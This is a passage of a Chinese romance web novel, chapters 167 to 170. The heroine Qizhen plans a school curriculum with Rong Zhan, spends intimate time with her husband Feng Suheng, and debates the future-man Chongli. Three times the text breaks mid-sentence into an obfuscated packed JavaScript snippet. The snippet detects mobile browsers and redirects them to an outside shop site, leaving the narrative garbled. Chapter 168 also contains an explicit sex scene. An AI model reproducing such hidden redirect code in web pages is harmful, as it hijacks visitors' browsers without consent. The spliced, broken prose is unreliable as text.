风宿恒俯耳邀请:“人之为人的极妙处,真真,愿意和我一起去吗?” 167. 第 167 章 搬进新家,结果整整四日没出院落,栖真实在觉得过意不去。 教学区还在原位,要等聚义堂造好再搬进去。可她出去转一圈,愣是没见到一个孩子,便去了容绽他们住的地方,听上东间有郎朗读书声,到窗外一看,八个孩子都在。 当初絮回为了省些营造资费,四间大屋都只设一个隔间。里间贴墙一圈摆着几张床,中间拿衣柜隔一下便可多人共住。外间小,就是一张大方桌,配上几个大凳。现在那么小的地方却拼了两张桌,孩子们围坐一圈,正在读弟子规。 栖真一探头,白丁就看到了,大叫一声:“宫主!” 所有的孩子都惊喜地跑出来,叽叽喳喳:“宫主身体好些了吗?”“宫主怎么生病了?”“宫主都瘦了!” 栖真轻咳一声,让他们回去上课。 容绽道:“上完了,最后读一遍罢了。你们去吧。” 几个小的一听下课,全都高兴地往外奔。如今红蓝队学习上还争胜负,玩起来却打成一片,一个赛一个野,自称“万仞超魔组”,不把山头玩个天翻地覆誓不罢休。 房里一下清净,容绽在门边让了让:“外头太阳毒,进来坐。” 七月头上的大荒流已奔着酷暑去,在露天上课无遮无拦,确实晒得厉害。栖真摇着扇子在方桌边坐下:“是该移到室内上,就是这地方黑板都放不下。” 容绽道:“没事,将就半个月,等聚义堂造好便好了。再不济,还能把课放傍晚,太阳落山后,到外面上。” 栖真见东窗开着,太阳直射进来,暑气尘嚣;可关上,房里就显得闷热。她走过来这段已经汗流浃背,可容绽坐在屋里汗都不见一滴,也是神奇。 “这山地处大荒流还不缺水源,已然是奇迹,就是到了夏天太热。阿绽,你都不热的吗?” 容绽起身摸索桌上,想给她倒杯水,听栖真抢道我来,便又坐下。 “热啊。”容绽接过她送到手的杯子,道了声谢。 栖真喝了口水:“看来还得自救,改明儿让祁哥挖个地窖,存些冰块才好。每房分点,最热的时候也好消暑。” “山上这般热度,水哪冻得起来。”容绽道:“还每日让人从山下运?太费人力了。” “也是。”栖真嘟囔着,又转头目测窗户尺寸,心里暗暗记下,总得想办法把这夏日过了才好。 便听身旁人问:“身体……好些了吗?” “啊,嗯。”说起这个栖真就燥:“这几日尽把担子扔你这儿了,实在过意不去。” “养好身体比什么都重要。”容绽道:“山上虽热,半夜也起晚风,以后记得关窗睡。”说完又加一句:“听你嗓子还哑,药还在喝吗?” 听他问,栖真浸出一声汗来:“在喝的。” 容绽嗯一声,便不说话了。 过了片刻才听他道:“这几日我一直在想你说的课程体系一事,很想听听栖真高见,还是等你身体养好,我们再……” 一提这个,栖真兴致立刻上来:“不碍事,求之不得找你讨论。” 这时门开,典叔和成校回来了。 因着容绽的下西间住着容伯舒,不适合做临时课堂,是以暂借他们这上东间。这间是典叔、阿陶、栾音和栾乐四人合住。这几日菜田辟了出来,正在翻土,典叔和成校一早去田里看着,现下日头上来,大伙儿先散,他们便回了屋。 见栖真也在,自要问几句身体是否安好的话。容绽道:“我们不打扰了。”便带栖真出去。 容绽还想让栖真回去休息,等她好了再说。栖真却道三峰溪边都是阴凉地,不妨去那儿说。 两人下到三峰溪,找了两块就近的树下大石。 栖真道:“还是河边阴凉。” 她也是热得没法了,知道容绽看不见,索性脱了鞋袜把脚泡在水里,顿时沁脾,舒服极了。 容绽却让她上来:“身体没好呢,怎能入冷水?” 栖真忍不住举手在他眼前挥,哀叹道:“你是真地看不见吗?” “听得见。”容绽道:“你手在面前挥,就有气流声。” “入水呢?” “水流声会不一样。” 栖真:“服!” 为了维持一下自己病弱不堪的印象,只好出水,把湿漉漉的脚丫子放在大石上晾着。 “阿绽,你有没有觉得这几个月来,你越来越能听了?” 容绽那块石面平整,他也盘腿坐到石上,前袍一铺,身背像高居庙堂般挺拔。 “为何这样说?” 栖真想了想:“刚在大荒流见你们那会儿,你好像还没这么……” 容绽:“没这么能听?” “啊,也可能那会儿刚在陌生地落脚,一切还不熟悉。” 容绽静了片刻,心想能问出这个问题得有两个条件,一是过去栖真一直在注意他,二是如今也是。 否则她怎能察觉他比过去能听? 他身上的变化,连一直贴身伺候的阑珊都未察觉,诸多人中,也只有栖真会问。 “自从住到这里……”容绽启口:“心境和之前大不同了。” 自从被柳絮回他们救出地牢,他有大半年时间消沉到自我封闭,后面好不容易振作起来,又是接二连三的逃亡和生活重担。再至一年前中毒粉双目失明,眼疾的苦痛折磨得他夜不能寐,无论黑夜白昼,于他皆是统一的极致黑暗。整整五年来,他从未睡过一个好觉,那颗紧绷的、愤恨的心也从未有过一刻舒坦。 直到入了大荒流。 原是为了逃避追杀才铤而走险入大荒流暂避,没想到遇上群狼,被迫逃上荒山。 后遇慕容生子,所有人都走不了。 那时他疲惫到极点,完全是一颗随波逐流的心,根本没想过会在此安家,没想过会遇上栖真这样一个给他们带来全新生活的陌生人;更没想到这女子能凭一己之力,在他心中掀起惊涛骇浪,逼他开始重新审视自己。 真要说,世间奇女子也是有的。 撇开深仇大恨不说,最近闲暇时他也会枯坐,以全新视野回想一遍那个附身沈兰珍的女子。 恨自然是极恨,可越回想,越在一地碎渣中觉出几分别样滋味来。 这女子包藏祸心、图谋不轨,但有些作为到也不失迷糊可爱。譬如碧净杀魄池的强吻、护神大殿上抄乌龙诗,再譬如去神明大宫一路上各种小表情和小动作。 他这辈子也没接触过几个女人,想得多了,难免做起比较,竟觉身边的栖真倒和那人在性格上有几分相像。 当初在大荒流帮扶众人逃离狼口上山的果敢,之后生活上贴心的照顾,懂得又极多,尤其两人身上那种热情中带着迷糊,时不时冒出点小可爱的感觉,简直如出一辙。 想到这里,容绽接着道:“我确实有些不同。” 栖真问:“什么不同?” 容绽一顿,道:“小秘密,若成了,再告诉你。” “嘿。”栖真随意捡了颗碎石往水中扔,笑道:“阿绽还有小秘密,那你把秘密守好了。若成了,第一时间和阿絮说。” 容绽道:“说你的构想吧。” 栖真拍了拍手上灰:“照我们时下进度,再学半个月弟子规便教完了。我已开始写后面的教材。大家作文,讲究工仗,如何用韵也是重中之重,是以这第二部教材,声律启蒙,教的便是这个。” “但是阿绽,我觉得所谓蒙学,授人以鱼不如授人以渔,重点还得培养孩子自己阅读的能力和主动探究的心。之前我让阿畅下山搜罗一圈,想看看如今大容私塾到底教什么,可发现根本没有统一的教材,全是私塾先生们各凭本事教,大多教孩童认两个字,能做几首歪诗便算成功。他带回来的那些个《童蒙杂记》和《八言经》什么的,晦涩难懂,扣着字眼一句句看也不知什么意思。我觉得学习这件事,应该是一个体系,可以让置身其中的人一步步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473303|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往上走,既不能一步登天,也不能学了半天还在原地。可如何重塑这个体系,真是大工程,比造房子难多了!” 容绽道:“但栖真心里有谱。” 他就是对栖真有种莫名的信心,就是觉得这些东西对她而言都不是难事,所以很肯定的语气说出这句。 “阿绽,你听听,这一套在大容是否可行。”栖真道:“五到十三岁的孩子应该接受基础教育,每一年为一级,一共九级。在这九年中,孩子要完成通识教育,会写字,能阅读,会算数,懂常识,以及懂得基本的物演之理。十三岁后很多穷人家的孩子都得外出谋生,可是谋生不代表教育中断,若他们还能在一些学宫里学到更多谋生技能,甚至更高端的学科,那对他们的终生将极其有益。试想一个国家若人人能活到老、学到老,这个国家将何其强盛!” “然后是学什么。我知道大容过去以诗文立国。可一个国家要昌盛,首先得发展科技、发展商业。人人会念两句诗,可人人饿着肚子讨生活,那诗文对百姓的意义又是什么呢,积贫积弱时自我安慰的白月光吗?纵观整个大容,科技和商业方面的教育全然没有,但是千万别小觑这两项,大容虽小,但只要这两项是强盛的,就足以傲立群雄,无人敢犯,所以得在我们的教育体系中加入这些内容。” “若有朝一日,大容可以做到每个城镇都有学校,每个孩子都能免费入学,有统一的教材,有受过培训的老师施以教学,天下将有多少人会因此改变命运,无论政坛还是商界,无论农业还是工业,都有比现在多得多的人才可用,他们可以在各自的领域开垦挖掘,这个国家的发展速度便会数倍、甚至几十倍于当下,兴许不过几十年,整个国家便会改头换面。” “阿绽,我知道你在想什么。”栖真道:“你一定觉得我想得太多,力量却太渺小,别说什么让每个城镇都有学校,便是教教山上这八个孩子,都花去我俩那么多精力。且无权无势的一帮人,何言改变大容,改变天下?可我想的是,我们现在不要为教而教,我们得编写教材,完善体系,不仅要做给孩子的那套,还要完善师训的教案。这两项绝非一朝一夕之功,可万一未来我们各方实力大长呢,或者万一未来我们有机会和当朝合作呢?我对庙堂上那套不感兴趣,但若能为天下的孩子们做点事,我又是极愿意的。我相信机会永远只给有准备的人,以前我也过得颠沛流离,即便有这样的设想,也只能是空想。如今我有了安定的生活,有了你们,才敢把梦想拾起,只望阿绽不要笑话我才好。” 树枝斑驳的影子投在白花花的溪面,耳边是溪水悦耳的流淌声。 容绽便在这样悦耳的水声中开口道:“栖真,你不知道我在想什么。” “啊?” “我在后悔。”容绽道:“为何当初我还是大容皇子时没有认识你。” “认识又如何?”栖真哈哈笑,随手捡起一块石子打了个水瓢:“你那时,只怕是听不进这番话的。” 容绽略偏头,半晌才低声道:“你说得没错,那时的我,确实……” 曾经有人说他活得古板,还说若每个人都踏步不前,世间不会变得更好,人生在世原本就有无限种可能。 但那时的他,是一个字都听不进去。 人,得经历些事,吃过些苦,才能摆脱孤陋寡闻、坐井观天、刚愎自用。 容绽面上绽出笑容,那是浑身通透后坚定的笑:“不说废话,你的设想我很支持,你的梦想也是我的梦想,这便把精力放在如何实现梦想上吧。于我看来,有三件事是我们时下得商定的,第一,目标为何;第二,如何分工;第三,照你在创业课上教的,列进度表。” 两人当下就这三样细细说定,最后也说好回去得落到案头。 临走前,容绽起身,忽然道:“栖真水瓢打得不错,最多可以扔几个?” 栖真想了想:“二十四、五个吧。” 容绽笑了一下,道:“走,上去吧。” 168. 第 168 章 这一聊差不多到要上数学课的时辰了,容绽说还是他上,让栖真回去休息,身体养好再说。 栖真顶着日头回花千树,刚跨入香满路,门就被拉上,一股大力把她顶在门板,被揽着腰热吻住。 栖真边吻边笑:“你…个…” 风宿恒才不管她害怕白日宣淫的小羞涩,和手下微微用力的小推拒,只管把人亲到浑身无力,挂在他脖子上才肯微微分唇:“一个时辰没亲了。” “幽怨啊。”栖真好气又好笑:“还以为一百年没亲了。” 风宿恒坐到桌后,把栖真抱上膝头,从耳根亲到脖颈。 栖真哎哎叫:“我一身汗呢。” “不嫌你。”风宿恒大手揉在她腰间,只管在她耳边轻舔。 栖真被他弄地受不了,趁大手还没往上或往下,忙一把按住道:“待会儿要午膳了。” “那就午膳。” “你有那么快吗?” 风宿恒……… 栖真求道:“我好几天没出去,待会儿吃饭总得露个脸。” 风宿恒这才收手,埋在栖真颈间,便是闻一闻她的体香心里都骚动不已,嘴上却真地怨:“想吃你。” 栖真好笑地捏捏他耳垂:“我们大容王腻歪起来是真腻歪。” 风宿恒转头在栖真手心印上一吻:“新婚燕尔,真真出去一圈都不想我吗?” 栖真在他颊上回亲一口,甜甜道:“好夫君。” 她坐在风宿恒腿上,取过桌上白纸,画了个窗面问:“山下买得到这种纱窗吗?天热,开窗晒,关窗闷,得装这种纱窗才行。” “让袁博看看。”风宿恒将纸一折放进袖袋:“逛哪儿去了?” “和阿绽聊了会儿。”两人贴身抱着,栖真觉得热,又舍不得松手:“为我们的教育大计统一思想,商定分工,后面好和他撸起袖子开干啊!” “和他开干?”风宿恒惩罚般咬住栖真食指,用牙轻磨:“你敢!” 栖真哭笑不得:“风宿恒,你三岁吗?” “行,你们干!”风宿恒故作高冷:“没我事。” “那我还干什么?”栖真服了他,歪着头亲他下巴:“我家夫君才是我开干的动力啊。” 今日袁博送来一车西瓜和躺椅,各家分了些,晚膳后聂灵鸢和许子鉴来花千树。 难得自己人终于有机会关起门说话,房中暑气未散,风宿恒让颜心把躺椅在后院支棱起来。 栖真沐浴完出来,招呼了一声许氏夫妇,坐到躺椅上。 她白日袍子穿得规整,此刻却只着开领口的湖色内裙,披件素色梅花纹纱衣,脚踩木屐。风宿恒坐在她身边用白羽扇给她扇风。 聂灵鸢自然知道栖真“一病四日”的事迹,此刻于院中格子灯的映照下,见她坐下后和风宿恒相视一笑,神情妩媚,大有艳色流溢,而身边的风宿恒也全然承托得起。当真一对璧人。 许子鉴近段时间都在郢业看店,难得回山,自然要说说鸳鸯蝴蝶梦的情况。 “生意是真好,上个月净赚一万三千两。”许子鉴道:“这般获利,放眼辛丰无出其右。” “絮回怎样?应付得来吗?”栖真问。 “聪明、灵活,对下也管得住。”许子鉴道:“往长了说,是能往大当家培养的栋梁。” 栖真道:“她这几年没少吃苦,人也锻炼出来,还请先生多教她。” 许子鉴自然应下:“她显贵出身,对接名流并不怯场,只是碍于身份不便出面才隐于幕后。主母看,往后是推她一把,还是慢慢来。” 栖真道:“暂时让她在幕后吧,他们的安危最重要。” 许子鉴看了眼风宿恒,见他点头,便应诺。 栖真问:“照先生看,如今店内可有危机?” “这样冲天的生意总是惹人眼红。”许子鉴也不瞒:“前几日阿闯他们挡了三四批闹事的地痞。这明着来的好应付,就怕阴险招数。” “是啊,若有人在锅里吃出虫,或吃坏肚子要赔偿,先生要想好应对之策。” 许子鉴笑:“哪需小生想,主母给的开店手册里不把应对之道列全了?” “那是死的,写给阿絮他们看的,消除他们下决定时的顾虑。”栖真道:“真遇事,还得先生便宜行事。” “若早日结识主母……”许子鉴搓着手:“学得一星半点招数,过去那摊生意必能再翻几翻。” “哦?”栖真撩了眼风宿恒,问许子鉴:“听说过去我家夫君的生意都是先生打理?” 说起这桩,风宿恒对许子鉴使眼色,手中扇子打得更勤。 许子鉴实话实说:“小生得陛下相救于陇东,又得信任交托生意。陛下有成人之美,允我娶了灵鸢,桩桩件件恩同再造。” “当初他要把生意变现时……”栖真笑言:“一定辛苦先生了。” 说起这个,聂灵鸢忍不住笑道:“子鉴都被陛下整糊涂了,主母可知那是多大的家业?上百家店铺,三城漕运码头,五处矿业,三个月内说脱手就脱手。好多店铺售得急,都是半价贱卖。把子鉴心疼地茶饭不思,人都瘦了一大圈。” “三个月?”栖真想了想:“是你我寨中相遇前三个月吗?” 风宿恒轻咳一声。 聂灵鸢:“是自陛下化身傀人和主母去驼暮山算起后三个月。” 栖真明白过来:“所以寨中那一箱箱黄金,很多都是假的?” 风宿恒别过头,憋不住笑,聂灵鸢也忍笑道:“现下在玉茗山庄的都是真的。” 栖真嗯一声,以一种“很好”的眼神看向风宿恒,拍着他放在躺椅扶手上的手背。 风宿恒对她挑挑眉,一副“我就这样了,现下说我也没用”的坦荡表情。 栖真却对许子鉴道:“先生不用觉得可惜,卖了便卖了。” 她这般说,到让风宿恒、聂灵鸢和许子鉴都看向她。 便听栖真道:“宿恒倾尽所有来娶我,未来我能给他更多家业。届时,先生莫要忙不过来才好。” 真是自信满满,让人移不开眼。 聂灵鸢和许子鉴都笑起来,今日这话换别人言,是大话,栖真道来,就是提前知会一声。 许子鉴向她一揖:“得主母一言,小生要期待地睡不着!随主母做事,小生和灵鸢都坚信有朝一日定能辟一番新天地。” 此时颜心端了西瓜来,应了栖真吩咐一切二,每人半个,用勺子挖着吃。 “我以前在家就这么吃,夏天吹着空调挖西瓜可美了。”栖真把西瓜正中挖了,喂给风宿恒。 栖真让颜心也坐,一群人在后院乘着凉挖着瓜,话话家常,别有一番意趣。 风宿恒帮栖真打扇,栖真一人一口喂瓜,他们自己没觉得什么,旁人眼里,却是怎么看怎么恩爱。 许子鉴心想:那么多年,陛下诨名在天下商贾中何其响亮,多杀伐果断一人!如今为妻打扇打成绕指柔,真是英雄难过美人关。 聂灵鸢想:陛下折腾半生,就为着一个能为其打扇,能得其喂瓜之人,人间至诚,也不过如此吧。 颜心心想:真好!我也定要找个这样的一心人,一起吃瓜一起乘凉,白首不相离。 颜心一面吃瓜,一面问:“这边墙低,咱们说话,外边人听到怎么办?” 聂灵鸢笑:“有陛下在,哪个宵小靠近他不知。” 风宿恒问:“如今都住进新房,旁人可有说什么?” “陛下放心,没听说什么看不过咱们这边房子的话。”聂灵鸢道:“倒是……” “什么?” “倒是几家婶子在说,山头两位宫主天天待在一块儿教书,男未婚女未嫁,怕是早晚要成好事。” 栖真猛咳起来,被吃进去的瓜呛了。 风宿恒忙给她拍背,又让颜心取水来润喉,问:“哦?多少人在说?” 聂灵鸢道:“祁南英那帮都这么说。” “柳絮回他们呢?”风宿恒问。 “这倒没有,如今典叔、成校和阿陶他们心思都在菜田上,听说阿絮给他们下的死令,入了秋,第一批菜苗一定得种下去,萝卜、白菜、蒜苗、香葱、莴苣这几样是定下的。” 风宿恒嗯了一声,问:“容绽呢?” “他到没发过什么话。”聂灵鸢道:“但听说容伯舒罚他罚得厉害。” 栖真皱眉:“为何事?” 聂灵鸢道:“容伯舒……好像对主母总有怨气。” 栖真往椅上一靠,受不了地翻白眼。风宿恒用手肘碰她,指了指瓜。 栖真才坐起来继续喂。 容绽向来忠于孝义,看来心里再不情愿,都不会在明面上忤逆容伯舒。 可就让他这般无辜受累下去? 栖真心里想着,还得想法子帮容绽一把。 可现下不像过去住毡帐,稍有点动静所有人都知道。如今关起门,容伯舒要打要罚,容绽自个儿不说,她也不能贸然干预。 有点愁人。 聂灵鸢和许子鉴又说了会儿话,便告退回毡帐去。 栖真跟风宿恒送走两人,去漱了口,觉得房里热不想回,索性脱了木屐,蜷在躺椅上继续乘凉。 想想这还是大荒流北疆,七月都热成这样,若在沙漠腹地,可以直接煎鸡蛋了。 栖真摸着风宿恒小臂:“明天还入沙漠吗?” “入。” “可热了。” “我早点回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又要来征服她了吗? 又要用这蛛网似的眼神,肆意游走的手,压制一般的姿态,用所有这些组合在一起的、独属风宿恒的方式! 风宿恒起身,将栖真翻过去,让她枕着椅背,背对他跪在躺椅上。 后背一凉,栖真急,抓住裙往下扯,谁知男人的声音诱惑地、极轻地在耳边命令:“别动。” 不能说不温柔,只是低下来的嗓音让栖真热起来,放弃抵抗,将自己乖乖交出去。 栖真受不了地扭动一下,就被大力扣住,一条腿被抬起搁在扶手上。 这是个多么羞耻的姿势! 可栖真只是抵住躺椅,任由风宿恒极轻极慢舔。 栖真抖起来,水声龊响。 好一会儿力道终于撤了,栖真将气息喘匀,便觉一股重压。 栖真闷哼,不多时升起惊异,风宿恒的狂风暴雨她体会过,他凭什么觉得这张小小的躺椅能承受得住他? 可今晚风宿恒百般耐心,栖真无数次胆颤,他又慢慢退开,触到,又退开。 三天里,她在风宿恒一通狂暴下神志不清,只会呓语“慢点”。今晚风宿恒真地慢下来,又把她逼入无止境的绝境,把她生生逼到洇泪。 半夜三更不能畅声反而刺激。 耳腔充血,听到的全是鼓雷般的心跳。 不哼出声,但骑虎难下,她一口咬住风宿恒。 依稀中,好像听到躺椅发出关节移位的嘎吱声。 挤出来的一点清醒提醒她,吵醒房内的颜心,她出来看一眼,那她……他们,就是当场社死! 栖真不敢想象那个场景,返手拍风宿恒,想让他带她回房去。 谁知身后人像会错意,忽然不再进退维谷,誓要给两人一个痛快。 山上的暑热在黑夜悄然漫来,栖真觉得在淋雨,那是风宿恒滴落的汗珠。 突如其来的猛烈冲破禁忌,让栖真在星月交辉的高山巅,在夜深人静的自家院,在汗流浃背的暑热中全然放开。 眼前闪着白茫。 忍耐和担心都见鬼去吧! 只有一个念头,干死算了。 山崩地裂,可怜的躺椅承不住,轰然坍塌。 万籁俱寂中一声传出老远,在山头引起隐隐回响。 回声起时,后院无人了。 黑漆漆的房中,有一泻千里的木床咯吱声。 对这个声音,被异响惊醒的颜心早已见怪不怪,拉毯子包住头,继续睡去。 169. 第 169 章 自从栖真“病体康裕”,山头便迎来又一波热闹。 除每日给孩子们上数学课和科学课,栖真其他时间就去上西屋,抱小宝、跟刺绣的阿月闲聊,带常璐散步,也或去看看典叔那边菜田的情况,跟几位嫂子们商量种什么果树。 算算日子,重离说的三月期就到了。这日果见铁索桥重开,栖真还有点惊喜,跑去洞中,十足吃了一惊。 “你……闭个关,还把房子装修了一下?” 如今这里再也不是集装箱房了。或许外观还是“集装箱”,但里面,居然成了一套极具二十一世纪风格的一室一厅。 走进去时,栖真差点以为自己眼花。 奶白色的墙纸,水曲柳的木地板,客厅摆着一套褐皮高档沙发,茶几下铺着灰色地毯,沙发前居然还有一台电视。 再看卧室,一张席梦思床,前面是床榻,对面是装在墙上的电视屏。墙边还有一张书桌,一个衣柜。 栖真看得合不拢嘴:“我这是穿回去了吗?” 重离还是跷腿坐在沙发上,不像欢迎别人前来参观新房的主人,倒像等人前来朝拜的君王。 “找到一张你那个时代的装潢图样。”重离道:“想试一下住在这里什么感觉。” 栖真去按电视按钮,仍是黑屏,耸耸肩并不感到意外:“什么感觉?” “拘束。”重离道。 好吧…… 这就是个宜家样板房,瞧着温馨,抽开来看,全是假的。 “那是因为你没住习惯。”栖真噘了下嘴:“对于自己不习惯的东西,没必要一上来就抱有批判的想法吧。” “你处在一个条条框框的时代。”重离道:“人睡在床上,东西放在柜子里,内容呈现在屏幕中。这个空间,处处都是框架。” 栖真皱眉:“你所谓的框架,是五千年文明进化的结果,难道你觉得我们应该退化到山顶洞人,没有床,没有柜,什么都没有,才算真正的自在?” “真正的自在,不是什么都没有。”重离道:“而是拥有一切,却不形化。” “嗯,形化。”栖真咀嚼一下:“什么意思?” 重离不再多言。 栖真松口气,重离没再说“你的智商不够”这类的话,是否代表重离对她的态度在逐渐软化? 栖真对他上看下看,今日重离面色如常,穿了套白色西装,打着白色领结,感觉下一秒就可以作为新郎出席一场盛大的婚礼。 “你……没事了吧?”栖真小心翼翼问。 重离示意她坐下:“有句古话,甲之蜜糖,乙之砒/霜。你爱的小笼包,成了我的毒药。” 栖真掐着合谷:“实在抱歉,早知道……” 重离道:“你早知道还是会带来,我早知道还是会尝试,所以不用说‘早知道’。” 栖真在媲美头等舱的单人沙发上如坐针毡,但输人不输阵:“先来说说你的第一句。” “你说我早知带小笼会让你吃出问题,就是说我有心害你。”栖真道:“这锅我可不背。” 重离不愧是重离,跳过论证,进击结论:“我死,你照样出不去。” 栖真……… “这是不是有点不公平了?”栖真叫起来:“你当初的要求是要我陪你一辈子,凭什么你的一辈子终结时,我还得陪?” “结界运行机制并不和我的生命挂钩。”重离道。 栖真道:“你知道自己生命即将终结,不能按个按钮什么的,把结界先消除?” 重离:“我为什么要做这种事?” 栖真怒道:“作为人类,总有些共通的好生之德吧。” 重离:“让你待在山上,就是我的好生之德。” 栖真:“狗屁的好生之德!” 重离:“等你参透生命的意义,就会感谢我。” “所以你的意思是,你提出这个非分的要求,是为我好?是为了帮我参透生命的意义?” 重离脸不红气不喘:“是的。” “恕我不敢苟同!”栖真双眼冒火。 “因为你开悟的道路才刚刚开启。”重离不紧不慢道。 栖真深深吸气,深深呼气,反复三次,才压下怒火继续对话,但她不想再去和重离讨论什么关于拘禁的意义。 简直鸡同鸭讲! “来说说你的第二句,你说你早知道,仍会尝试?” “知道不代表确认。”重离道:“我吃了,产生了自然的结果,这才是验证。只有验证过的事情,才算确认。” 栖真从他的话里推导出一些意思:“就是说一千年后的人类虽然知道自己不用吃东西,但不知道吃了东西会对身体产生怎样的影响,所以你尝试了一次。结果证明,你的身体根本没有办法承受五谷杂粮。” “对。”重离道。 栖真问:“这三个月你在做什么?” “通过安置舱代谢食物。” 栖真注意到他用了“代谢”一词:“你的身体不能自然排泄吗?” 重离道:“很麻烦。” 栖真………… 从道理上说,人体的每一个器官都因其实用价值而在漫长的进化中被保留,若有朝一日人类真地不需要进食,那不需要排泄也说得过去,整套消化器官的退化也是顺理成章。 “进化是一件需要数万年,甚至数十万年时间进行的自然抉择。”栖真质疑道:“我不相信才短短一千年,就到了需要重新定义“人”这种生物的程度。况且你这个未来人,从表面看,和我根本没什么两样!” “你没看过我的身体。”重离道:“自然感知不到差别。” 他这样说,栖真本该接一句“那给我看一下”。 但一种发自内心的抗拒让她没有提出这种要求。这和男女之防无关,而是来自更为深远的忧虑。 “未来千年,到底发生了什么?”栖真感叹:“变化也太大了。” 重离道:“用‘变化’不足以形容,是‘变革’。” “能跟我说说吗?”栖真请求:“我很想知道未来到底怎么了。” “可以。”重离道:“但不是今天。” 栖真挑了下眉:“为什么?” 重离道:“让你叙述过去一千年,你也能张口就来?不需要去查阅资料?” 栖真笑道:“所以,你要去查一下,才能跟我说?” 重离道:“查一下,才能跟你说得准确。” 他在“准确”两字上略微加重力道。 感觉重离对讲述未来持有一种认真态度,栖真微微笑了一下:“好的,我等你。” “在没有讲之前,请允许我猜一猜,未来的人类是不是生活地更加局促,更不自由?” 重离道:“为什么这样想?” 栖真呵呵笑起来:“因为你们连小笼都没法吃啊!” 重离顿了顿,才道:“我们用禁锢换永生。” ………… “然后我就用了一个时辰安置舱,看了眼幸福值,就回来了。”栖真晚上跟风宿恒说起今日去见重离的事:“上次是60,这次到82了呢。” 风宿恒刚从金光万丈城回来,晚膳都没来得及吃,脱着外袍问:“他有问你为何?” “当然问啊!”栖真有点小得意:“可我干吗跟他说?” 风宿恒把袍子挂到衣裆上,凑头过去:“那跟我说。” 栖真垫脚抱住他脖颈,凑上去悄声道:“因为夫君每晚伺候得好。” 风宿恒两手捏她双颊,硬生生捏出个鬼脸,在嘟起的唇上亲一口:“是真真香甜可口。” 外面有敲门声,颜心端晚膳进来,栖真说要去香满路写东西,风宿恒便让颜心把晚膳端过去,他自去净房洗了洗,才去香满路。 栖真已在案头忙活起来,风宿恒也坐到书桌边,一面进膳一面道:“他房子整什么样,画一个我看看。” 栖真取张白纸,画了个户型图,可左看右看觉得差点意思:“唉,其实我画工还可以的,但毛笔实在不称手,透视图我也不太行,和窦诗比差远了。” 风宿恒看了看,重新取张纸画起来,不过几笔就把两间房的布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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续了茶放到桌边,风宿恒道:“你到时刻想着他们。” 栖真抬头对他笑笑,继续写。 风宿恒摸索手中杯,不经意问:“明日……给谁送?” 笔尖一顿,栖真唇角漾开,抬头道:“师父想要了?” 一句话堵地风宿恒只能低头笑,这才收了有的没的,继续适才话题:“这几日我还得回宫,永嘉道修好,后面就是驻防的事,让倪煌拟了折,得回去盯着。” 他说正事,栖真就停笔听,问:“如今对外还瞒着大容王活着的消息,你来去要当心。如果要商议的事多,也不用每日这般来回,忙完再回也行。” 风宿恒把桌上乱七八糟的纸整一整置在案边,胳膊搁在纸上,道:“不回?让娇妻独守空闺?” 栖真不好意思地笑,面上却道:“正好喘口气,求之不得!” “哪头喘口气?”风宿恒支额,挑眉问。 栖真眨了眨眼,明白过来,笑怒作势要拿笔往他脸上画:“好个大容王,就没正经。” 被风宿恒轻巧握住臂,抽出她手中毛笔搁架上:“真真知趣,本王说什么都听得懂。” 反正晚上宅在家,栖真洗完就着件鹅黄云纹凋裙,和现代吊带裙差不多,露着胸背。真不怪风宿恒一见她就频频撩拨,这般春光,让他怎么忍?至今未动,全数因知她做事投入,才稍等一下罢了。 “我是说真的!这里去金光万丈城御剑也得两个时辰,你每日这般赶,不如省下点时间休息。” 风宿恒拉过她的手:“除非中枢搬来这边,否则来来去去便是平常,总要习惯。” 要兼顾朝堂和爱巢,两头跑是常态,风宿恒早想明白,并不以此为苦。 栖真反拉过他的手,在晒黑的手背上亲一口。千言万语,只在这下里。 风宿恒问:“可是完事了?” 不啻在问,咱们能开始了吗?栖真瞬间无语,扔回风宿恒的手:“早呢!” 170. 第 170 章 “有桩事要说与你听。”风宿恒笑着揉腕:“我已嘱意钟雄调派一千人马驻守永嘉道入口,十日便到。” “我猜猜。”栖真托腮:“我王在想什么。” 风宿恒挑眉邀请。 “首先自然是拱卫永嘉道!永嘉一开,就是辛丰大容间的命脉,闲时交通要道,战时战略通道,必得握在自己手里。” “其次,明确国界。祁南英他们明明在城里有家宅,为何愿搬山上住?灵鸢说动他的一项是搬来大荒流可逃辛丰苛税。大荒流上临付春和大小陈,东南是大容,西南皆为辛丰,因着气候严苛无人居住,素来是三不管地带。也没人去探究这大荒流究竟属于哪国。如今永嘉一修,西面兵马一屯,那是趁人家没反应过来,抢先一步把整片大荒流划入大容版图了。” “有第三吗?”风宿恒笑问。 “第三嘛……”栖真道:“当然是因为我在这儿呀!你肯定想屯兵在此,好保护我呀。” 风宿恒刮她鼻梁:“就你聪慧。” “那是!”栖真道:“你想什么我都知道?” “星流诚不欺我。”风宿恒感叹道:“他说别动心思骗你媳妇儿,最好一个字都别,我还有什么事瞒得过你?” “反正也瞒不过。”栖真带点小得意:“不如乖乖缴械。” 风宿恒道:“只要你在这儿,我就恨不得东南西北整得固若金汤。况且大容虽和辛丰定下五十年不纳贡的协约,但世事变化快,未来谁知道。” 